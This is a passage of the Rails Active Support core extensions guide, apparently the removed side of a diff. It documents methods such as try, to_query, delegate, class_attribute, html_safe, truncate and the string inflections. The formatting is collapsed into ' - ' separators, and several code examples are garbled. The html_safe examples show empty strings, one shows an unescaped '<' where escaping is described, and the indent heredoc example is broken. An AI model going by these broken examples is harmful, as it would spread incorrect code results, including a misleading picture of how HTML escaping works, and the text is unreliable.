(%.1fms)' % [name || 'SQL', ms] - @logger.debug(format_log_entry(name, sql.squeeze(' '))) - end -end -``` - -`try` can also be called without arguments but a block, which will only be executed if the object is not nil: - -```ruby -@person.try { |p| "#{p.first_name} #{p.last_name}" } -``` - -Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use `try!` instead: - -```ruby -@number.try(:nest) # => nil -@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer -``` - -NOTE: Defined in `active_support/core_ext/object/try.rb`. - -### `class_eval(*args, &block)` - -You can evaluate code in the context of any object's singleton class using `class_eval`: - -```ruby -class Proc - def bind(object) - block, time = self, Time.current - object.class_eval do - method_name = "__bind_#{time.to_i}_#{time.usec}" - define_method(method_name, &block) - method = instance_method(method_name) - remove_method(method_name) - method - end.bind(object) - end -end -``` - -NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`. - -### `acts_like?(duck)` - -The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines - -```ruby -def acts_like_string? -end -``` - -which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way: - -```ruby -some_klass.acts_like?(:string) -``` - -Rails has classes that act like `Date` or `Time` and follow this contract. - -NOTE: Defined in `active_support/core_ext/object/acts_like.rb`. - -### `to_param` - -All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments. - -By default `to_param` just calls `to_s`: - -```ruby -7.to_param # => "7" -``` - -The return value of `to_param` should **not** be escaped: - -```ruby -"Tom & Jerry".to_param # => "Tom & Jerry" -``` - -Several classes in Rails overwrite this method. - -For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/": - -```ruby -[0, true, String].to_param # => "0/true/String" -``` - -Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given - -```ruby -class User - def to_param - "#{id}-#{name.parameterize}" - end -end -``` - -we get: - -```ruby -user_path(@user) # => "/users/357-john-smith" -``` - -WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`. - -NOTE: Defined in `active_support/core_ext/object/to_param.rb`. - -### `to_query` - -Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given - -```ruby -class User - def to_param - "#{id}-#{name.parameterize}" - end -end -``` - -we get: - -```ruby -current_user.to_query('user') # => "user=357-john-smith" -``` - -This method escapes whatever is needed, both for the key and the value: - -```ruby -account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" -``` - -so its output is ready to be used in a query string. - -Arrays return the result of applying `to_query` to each element with `key[]` as key, and join the result with "&": - -```ruby -[3.4, -45.6].to_query('sample') -# => "sample%5B%5D=3.4&sample%5B%5D=-45.6" -``` - -Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&": - -```ruby -{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3" -``` - -The method `Hash#to_query` accepts an optional namespace for the keys: - -```ruby -{id: 89, name: "John Smith"}.to_query('user') -# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith" -``` - -NOTE: Defined in `active_support/core_ext/object/to_query.rb`. - -### `with_options` - -The method `with_options` provides a way to factor out common options in a series of method calls. - -Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in: - -```ruby -class Account < ApplicationRecord - has_many :customers, dependent: :destroy - has_many :products, dependent: :destroy - has_many :invoices, dependent: :destroy - has_many :expenses, dependent: :destroy -end -``` - -this way: - -```ruby -class Account < ApplicationRecord - with_options dependent: :destroy do |assoc| - assoc.has_many :customers - assoc.has_many :products - assoc.has_many :invoices - assoc.has_many :expenses - end -end -``` - -That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this: - -```ruby -I18n.with_options locale: user.locale, scope: "newsletter" do |i18n| - subject i18n.t :subject - body i18n.t :body, user_name: user.name -end -``` - -TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own. - -NOTE: Defined in `active_support/core_ext/object/with_options.rb`. - -### JSON support - -Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation. - -NOTE: Defined in `active_support/core_ext/object/json.rb`. - -### Instance Variables - -Active Support provides several methods to ease access to instance variables. - -#### `instance_values` - -The method `instance_values` returns a hash that maps instance variable names without "@" to their -corresponding values. Keys are strings: - -```ruby -class C - def initialize(x, y) - @x, @y = x, y - end -end - -C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} -``` - -NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. - -#### `instance_variable_names` - -The method `instance_variable_names` returns an array. Each name includes the "@" sign. - -```ruby -class C - def initialize(x, y) - @x, @y = x, y - end -end - -C.new(0, 1).instance_variable_names # => ["@x", "@y"] -``` - -NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. - -### Silencing Warnings and Exceptions - -The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards: - -```ruby -silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } -``` - -Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured: - -```ruby -# If the user is locked, the increment is lost, no big deal. -suppress(ActiveRecord::StaleObjectError) do - current_user.increment! :visits -end -``` - -NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`. - -### `in?` - -The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`. - -Examples of `in?`: - -```ruby -1.in?([1,2]) # => true -"lo".in?("hello") # => true -25.in?(30..50) # => false -1.in?(1) # => ArgumentError -``` - -NOTE: Defined in `active_support/core_ext/object/inclusion.rb`. - -Extensions to `Module` ----------------------- - -### Attributes - -#### `alias_attribute` - -Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment): - -```ruby -class User < ApplicationRecord - # You can refer to the email column as "login". - # This can be meaningful for authentication code. - alias_attribute :login, :email -end -``` - -NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. - -#### Internal Attributes - -When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries. - -Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely. - -The macro `attr_internal` is a synonym for `attr_internal_accessor`: - -```ruby -# library -class ThirdPartyLibrary::Crawler - attr_internal :log_level -end - -# client code -class MyCrawler < ThirdPartyLibrary::Crawler - attr_accessor :log_level -end -``` - -In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision. - -By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`. - -Rails uses internal attributes in a few spots, for examples for views: - -```ruby -module ActionView - class Base - attr_internal :captures - attr_internal :request, :layout - attr_internal :controller, :template - end -end -``` - -NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. - -#### Module Attributes - -The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). - -For example, the dependencies mechanism uses them: - -```ruby -module ActiveSupport - module Dependencies - mattr_accessor :warnings_on_first_load - mattr_accessor :history - mattr_accessor :loaded - mattr_accessor :mechanism - mattr_accessor :load_paths - mattr_accessor :load_once_paths - mattr_accessor :autoloaded_constants - mattr_accessor :explicitly_unloadable_constants - mattr_accessor :constant_watch_stack - mattr_accessor :constant_watch_stack_mutex - end -end -``` - -NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. - -### Parents - -#### `parent` - -The `parent` method on a nested named module returns the module that contains its corresponding constant: - -```ruby -module X - module Y - module Z - end - end -end -M = X::Y::Z - -X::Y::Z.parent # => X::Y -M.parent # => X::Y -``` - -If the module is anonymous or belongs to the top-level, `parent` returns `Object`. - -WARNING: Note that in that case `parent_name` returns `nil`. - -NOTE: Defined in `active_support/core_ext/module/introspection.rb`. - -#### `parent_name` - -The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant: - -```ruby -module X - module Y - module Z - end - end -end -M = X::Y::Z - -X::Y::Z.parent_name # => "X::Y" -M.parent_name # => "X::Y" -``` - -For top-level or anonymous modules `parent_name` returns `nil`. - -WARNING: Note that in that case `parent` returns `Object`. - -NOTE: Defined in `active_support/core_ext/module/introspection.rb`. - -#### `parents` - -The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top: - -```ruby -module X - module Y - module Z - end - end -end -M = X::Y::Z - -X::Y::Z.parents # => [X::Y, X, Object] -M.parents # => [X::Y, X, Object] -``` - -NOTE: Defined in `active_support/core_ext/module/introspection.rb`. - -### Reachable - -A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant. - -That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it: - -```ruby -module M -end - -M.reachable? # => true -``` - -But since constants and modules are indeed kind of decoupled, module objects can become unreachable: - -```ruby -module M -end - -orphan = Object.send(:remove_const, :M) - -# The module object is orphan now but it still has a name. -orphan.name # => "M" - -# You cannot reach it via the constant M because it does not even exist. -orphan.reachable? # => false - -# Let's define a module called "M" again. -module M -end - -# The constant M exists now again, and it stores a module -# object called "M", but it is a new instance. -orphan.reachable? # => false -``` - -NOTE: Defined in `active_support/core_ext/module/reachable.rb`. - -### Anonymous - -A module may or may not have a name: - -```ruby -module M -end -M.name # => "M" - -N = Module.new -N.name # => "N" - -Module.new.name # => nil -``` - -You can check whether a module has a name with the predicate `anonymous?`: - -```ruby -module M -end -M.anonymous? # => false - -Module.new.anonymous? # => true -``` - -Note that being unreachable does not imply being anonymous: - -```ruby -module M -end - -m = Object.send(:remove_const, :M) - -m.reachable? # => false -m.anonymous? # => false -``` - -though an anonymous module is unreachable by definition. - -NOTE: Defined in `active_support/core_ext/module/anonymous.rb`. - -### Method Delegation - -The macro `delegate` offers an easy way to forward methods. - -Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model: - -```ruby -class User < ApplicationRecord - has_one :profile -end -``` - -With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: - -```ruby -class User < ApplicationRecord - has_one :profile - - def name - profile.name - end -end -``` - -That is what `delegate` does for you: - -```ruby -class User < ApplicationRecord - has_one :profile - - delegate :name, to: :profile -end -``` - -It is shorter, and the intention more obvious. - -The method must be public in the target. - -The `delegate` macro accepts several methods: - -```ruby -delegate :name, :age, :address, :twitter, to: :profile -``` - -When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver: - -```ruby -# delegates to the Rails constant -delegate :logger, to: :Rails - -# delegates to the receiver's class -delegate :table_name, to: :class -``` - -WARNING: If the `:prefix` option is `true` this is less generic, see below. - -By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option: - -```ruby -delegate :name, to: :profile, allow_nil: true -``` - -With `:allow_nil` the call `user.name` returns `nil` if the user has no profile. - -The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name: - -```ruby -delegate :street, to: :address, prefix: true -``` - -The previous example generates `address_street` rather than `street`. - -WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name. - -A custom prefix may also be configured: - -```ruby -delegate :size, to: :attachment, prefix: :avatar -``` - -In the previous example the macro generates `avatar_size` rather than `size`. - -NOTE: Defined in `active_support/core_ext/module/delegation.rb` - -### Redefining Methods - -There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either. - -The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. - -NOTE: Defined in `active_support/core_ext/module/remove_method.rb` - -Extensions to `Class` ---------------------- - -### Class Attributes - -#### `class_attribute` - -The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy. - -```ruby -class A - class_attribute :x -end - -class B < A; end - -class C < B; end - -A.x = :a -B.x # => :a -C.x # => :a - -B.x = :b -A.x # => :a -C.x # => :b - -C.x = :c -A.x # => :a -B.x # => :b -``` - -For example `ActionMailer::Base` defines: - -```ruby -class_attribute :default_params -self.default_params = { - mime_version: "1.0", - charset: "UTF-8", - content_type: "text/plain", - parts_order: [ "text/plain", "text/enriched", "text/html" ] -}.freeze -``` - -They can also be accessed and overridden at the instance level. - -```ruby -A.x = 1 - -a1 = A.new -a2 = A.new -a2.x = 2 - -a1.x # => 1, comes from A -a2.x # => 2, overridden in a2 -``` - -The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`. - -```ruby -module ActiveRecord - class Base - class_attribute :table_name_prefix, instance_writer: false - self.table_name_prefix = "" - end -end -``` - -A model may find that option useful as a way to prevent mass-assignment from setting the attribute. - -The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`. - -```ruby -class A - class_attribute :x, instance_reader: false -end - -A.new.x = 1 -A.new.x # NoMethodError -``` - -For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`. - -When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method. - -If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined. - -NOTE: Defined in `active_support/core_ext/class/attribute.rb` - -#### `cattr_reader`, `cattr_writer`, and `cattr_accessor` - -The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it: - -```ruby -class MysqlAdapter < AbstractAdapter - # Generates class methods to access @@emulate_booleans. - cattr_accessor :emulate_booleans - self.emulate_booleans = true -end -``` - -Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given - -```ruby -module ActionView - class Base - cattr_accessor :field_error_proc - @@field_error_proc = Proc.new{ ... } - end -end -``` - -we can access `field_error_proc` in views. - -Also, you can pass a block to `cattr_*` to set up the attribute with a default value: - -```ruby -class MysqlAdapter < AbstractAdapter - # Generates class methods to access @@emulate_booleans with default value of true. - cattr_accessor(:emulate_booleans) { true } -end -``` - -The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. - -```ruby -module A - class B - # No first_name instance reader is generated. - cattr_accessor :first_name, instance_reader: false - # No last_name= instance writer is generated. - cattr_accessor :last_name, instance_writer: false - # No surname instance reader or surname= writer is generated. - cattr_accessor :surname, instance_accessor: false - end -end -``` - -A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. - -NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. - -### Subclasses & Descendants - -#### `subclasses` - -The `subclasses` method returns the subclasses of the receiver: - -```ruby -class C; end -C.subclasses # => [] - -class B < C; end -C.subclasses # => [B] - -class A < B; end -C.subclasses # => [B] - -class D < C; end -C.subclasses # => [B, D] -``` - -The order in which these classes are returned is unspecified. - -NOTE: Defined in `active_support/core_ext/class/subclasses.rb`. - -#### `descendants` - -The `descendants` method returns all classes that are `<` than its receiver: - -```ruby -class C; end -C.descendants # => [] - -class B < C; end -C.descendants # => [B] - -class A < B; end -C.descendants # => [B, A] - -class D < C; end -C.descendants # => [B, A, D] -``` - -The order in which these classes are returned is unspecified. - -NOTE: Defined in `active_support/core_ext/class/subclasses.rb`. - -Extensions to `String` ----------------------- - -### Output Safety - -#### Motivation - -Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks. - -#### Safe Strings - -Active Support has the concept of _(html) safe_ strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. - -Strings are considered to be _unsafe_ by default: - -```ruby -"".html_safe? # => false -``` - -You can obtain a safe string from a given one with the `html_safe` method: - -```ruby -s = "".html_safe -s.html_safe? # => true -``` - -It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion: - -```ruby -s = "".html_safe -s.html_safe? # => true -s # => "" -``` - -It is your responsibility to ensure calling `html_safe` on a particular string is fine. - -If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped: - -```ruby -"".html_safe + "<" # => "<" -``` - -Safe arguments are directly appended: - -```ruby -"".html_safe + "<".html_safe # => "<" -``` - -These methods should not be used in ordinary views. Unsafe values are automatically escaped: - -```erb -<%= @review.title %> <%# fine, escaped if needed %> -``` - -To insert something verbatim use the `raw` helper rather than calling `html_safe`: - -```erb -<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %> -``` - -or, equivalently, use `<%==`: - -```erb -<%== @cms.current_template %> <%# inserts @cms.current_template as is %> -``` - -The `raw` helper calls `html_safe` for you: - -```ruby -def raw(stringish) - stringish.to_s.html_safe -end -``` - -NOTE: Defined in `active_support/core_ext/string/output_safety.rb`. - -#### Transformation - -As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc. - -In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe. - -INFO: The safety bit is lost always, no matter whether the transformation actually changed something. - -#### Conversion and Coercion - -Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string. - -#### Copying - -Calling `dup` or `clone` on safe strings yields safe strings. - -### `remove` - -The method `remove` will remove all occurrences of the pattern: - -```ruby -"Hello World".remove(/Hello /) # => "World" -``` - -There's also the destructive version `String#remove!`. - -NOTE: Defined in `active_support/core_ext/string/filters.rb`. - -### `squish` - -The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: - -```ruby -" \n foo\n\r \t bar \n".squish # => "foo bar" -``` - -There's also the destructive version `String#squish!`. - -Note that it handles both ASCII and Unicode whitespace. - -NOTE: Defined in `active_support/core_ext/string/filters.rb`. - -### `truncate` - -The method `truncate` returns a copy of its receiver truncated after a given `length`: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate(20) -# => "Oh dear! Oh dear!..." -``` - -Ellipsis can be customized with the `:omission` option: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '…') -# => "Oh dear! Oh …" -``` - -Note in particular that truncation takes into account the length of the omission string. - -Pass a `:separator` to truncate the string at a natural break: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate(18) -# => "Oh dear! Oh dea..." -"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ') -# => "Oh dear! Oh..." -``` - -The option `:separator` can be a regexp: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/) -# => "Oh dear! Oh..." -``` - -In above examples "dear" gets cut first, but then `:separator` prevents it. - -NOTE: Defined in `active_support/core_ext/string/filters.rb`. - -### `truncate_words` - -The method `truncate_words` returns a copy of its receiver truncated after a given number of words: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate_words(4) -# => "Oh dear! Oh dear!..." -``` - -Ellipsis can be customized with the `:omission` option: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '…') -# => "Oh dear! Oh dear!…" -``` - -Pass a `:separator` to truncate the string at a natural break: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!') -# => "Oh dear! Oh dear! I shall be late..." -``` - -The option `:separator` can be a regexp: - -```ruby -"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/) -# => "Oh dear! Oh dear!..." -``` - -NOTE: Defined in `active_support/core_ext/string/filters.rb`. - -### `inquiry` - -The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier. - -```ruby -"production".inquiry.production? # => true -"active".inquiry.inactive? # => false -``` - -### `starts_with?` and `ends_with?` - -Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`: - -```ruby -"foo".starts_with?("f") # => true -"foo".ends_with?("o") # => true -``` - -NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`. - -### `strip_heredoc` - -The method `strip_heredoc` strips indentation in heredocs. - -For example in - -```ruby -if options[:usage] - puts <<-USAGE.strip_heredoc - This command does such and such. - - Supported options are: - -h This message - ... - USAGE -end -``` - -the user would see the usage message aligned against the left margin. - -Technically, it looks for the least indented line in the whole string, and removes -that amount of leading whitespace. - -NOTE: Defined in `active_support/core_ext/string/strip.rb`. - -### `indent` - -Indents the lines in the receiver: - -```ruby -< - def some_method - some_code - end -``` - -The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none. - -```ruby -" foo".indent(2) # => " foo" -"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar" -"foo".indent(2, "\t") # => "\t\tfoo" -``` - -While `indent_string` is typically one space or tab, it may be any string. - -The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false. - -```ruby -"foo\n\nbar".indent(2) # => " foo\n\n bar" -"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar" -``` - -The `indent!` method performs indentation in-place. - -NOTE: Defined in `active_support/core_ext/string/indent.rb`. - -### Access - -#### `at(position)` - -Returns the character of the string at position `position`: - -```ruby -"hello".at(0) # => "h" -"hello".at(4) # => "o" -"hello".at(-1) # => "o" -"hello".at(10) # => nil -``` - -NOTE: Defined in `active_support/core_ext/string/access.rb`. - -#### `from(position)` - -Returns the substring of the string starting at position `position`: - -```ruby -"hello".from(0) # => "hello" -"hello".from(2) # => "llo" -"hello".from(-2) # => "lo" -"hello".from(10) # => nil -``` - -NOTE: Defined in `active_support/core_ext/string/access.rb`. - -#### `to(position)` - -Returns the substring of the string up to position `position`: - -```ruby -"hello".to(0) # => "h" -"hello".to(2) # => "hel" -"hello".to(-2) # => "hell" -"hello".to(10) # => "hello" -``` - -NOTE: Defined in `active_support/core_ext/string/access.rb`. - -#### `first(limit = 1)` - -The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0. - -NOTE: Defined in `active_support/core_ext/string/access.rb`. - -#### `last(limit = 1)` - -The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0. - -NOTE: Defined in `active_support/core_ext/string/access.rb`. - -### Inflections - -#### `pluralize` - -The method `pluralize` returns the plural of its receiver: - -```ruby -"table".pluralize # => "tables" -"ruby".pluralize # => "rubies" -"equipment".pluralize # => "equipment" -``` - -As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments. - -`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: - -```ruby -"dude".pluralize(0) # => "dudes" -"dude".pluralize(1) # => "dude" -"dude".pluralize(2) # => "dudes" -``` - -Active Record uses this method to compute the default table name that corresponds to a model: - -```ruby -# active_record/model_schema.rb -def undecorated_table_name(class_name = base_class.name) - table_name = class_name.to_s.demodulize.underscore - pluralize_table_names ? table_name.pluralize : table_name -end -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `singularize` - -The inverse of `pluralize`: - -```ruby -"tables".singularize # => "table" -"rubies".singularize # => "ruby" -"equipment".singularize # => "equipment" -``` - -Associations compute the name of the corresponding default associated class using this method: - -```ruby -# active_record/reflection.rb -def derive_class_name - class_name = name.to_s.camelize - class_name = class_name.singularize if collection? - class_name -end -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `camelize` - -The method `camelize` returns its receiver in camel case: - -```ruby -"product".camelize # => "Product" -"admin_user".camelize # => "AdminUser" -``` - -As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces: - -```ruby -"backoffice/session".camelize # => "Backoffice::Session" -``` - -For example, Action Pack uses this method to load the class that provides a certain session store: - -```ruby -# action_controller/metal/session_management.rb -def session_store=(store) - @@session_store = store.is_a?(Symbol) ? - ActionDispatch::Session.const_get(store.to_s.camelize) : - store -end -``` - -`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase: - -```ruby -"visual_effect".camelize(:lower) # => "visualEffect" -``` - -That may be handy to compute method names in a language that follows that convention, for example JavaScript. - -INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`: - -```ruby -ActiveSupport::Inflector.inflections do |inflect| - inflect.acronym 'SSL' -end - -"SSLError".underscore.camelize # => "SSLError" -``` - -`camelize` is aliased to `camelcase`. - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `underscore` - -The method `underscore` goes the other way around, from camel case to paths: - -```ruby -"Product".underscore # => "product" -"AdminUser".underscore # => "admin_user" -``` - -Also converts "::" back to "/": - -```ruby -"Backoffice::Session".underscore # => "backoffice/session" -``` - -and understands strings that start with lowercase: - -```ruby -"visualEffect".underscore # => "visual_effect" -``` - -`underscore` accepts no argument though. - -Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant: - -```ruby -# active_support/dependencies.rb -def load_missing_constant(from_mod, const_name) - ... - qualified_name = qualified_name_for from_mod, const_name - path_suffix = qualified_name.underscore - ... -end -``` - -INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`. - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `titleize` - -The method `titleize` capitalizes the words in the receiver: - -```ruby -"alice in wonderland".titleize # => "Alice In Wonderland" -"fermat's enigma".titleize # => "Fermat's Enigma" -``` - -`titleize` is aliased to `titlecase`. - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `dasherize` - -The method `dasherize` replaces the underscores in the receiver with dashes: - -```ruby -"name".dasherize # => "name" -"contact_data".dasherize # => "contact-data" -``` - -The XML serializer of models uses this method to dasherize node names: - -```ruby -# active_model/serializers/xml.rb -def reformat_name(name) - name = name.camelize if camelize? - dasherize? ? name.dasherize : name -end -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `demodulize` - -Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it: - -```ruby -"Product".demodulize # => "Product" -"Backoffice::UsersController".demodulize # => "UsersController" -"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" -"::Inflections".demodulize # => "Inflections" -"".demodulize # => "" - -``` - -Active Record for example uses this method to compute the name of a counter cache column: - -```ruby -# active_record/reflection.rb -def counter_cache_column - if options[:counter_cache] == true - "#{active_record.name.demodulize.underscore.pluralize}_count" - elsif options[:counter_cache] - options[:counter_cache] - end -end -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `deconstantize` - -Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container: - -```ruby -"Product".deconstantize # => "" -"Backoffice::UsersController".deconstantize # => "Backoffice" -"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `parameterize` - -The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs. - -```ruby -"John Smith".parameterize # => "john-smith" -"Kurt Gödel".parameterize # => "kurt-godel" -``` - -To preserve the case of the string, set the `preserve_case` argument to true. By default, `preserve_case` is set to false. - -```ruby -"John Smith".parameterize(preserve_case: true) # => "John-Smith" -"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel" -``` - -To use a custom separator, override the `separator` argument. - -```ruby -"John Smith".parameterize(separator: "_") # => "john\_smith" -"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel" -``` - -In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`. - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `tableize` - -The method `tableize` is `underscore` followed by `pluralize`. - -```ruby -"Person".tableize # => "people" -"Invoice".tableize # => "invoices" -"InvoiceLine".tableize # => "invoice_lines" -``` - -As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string. - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `classify` - -The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name: - -```ruby -"people".classify # => "Person" -"invoices".classify # => "Invoice" 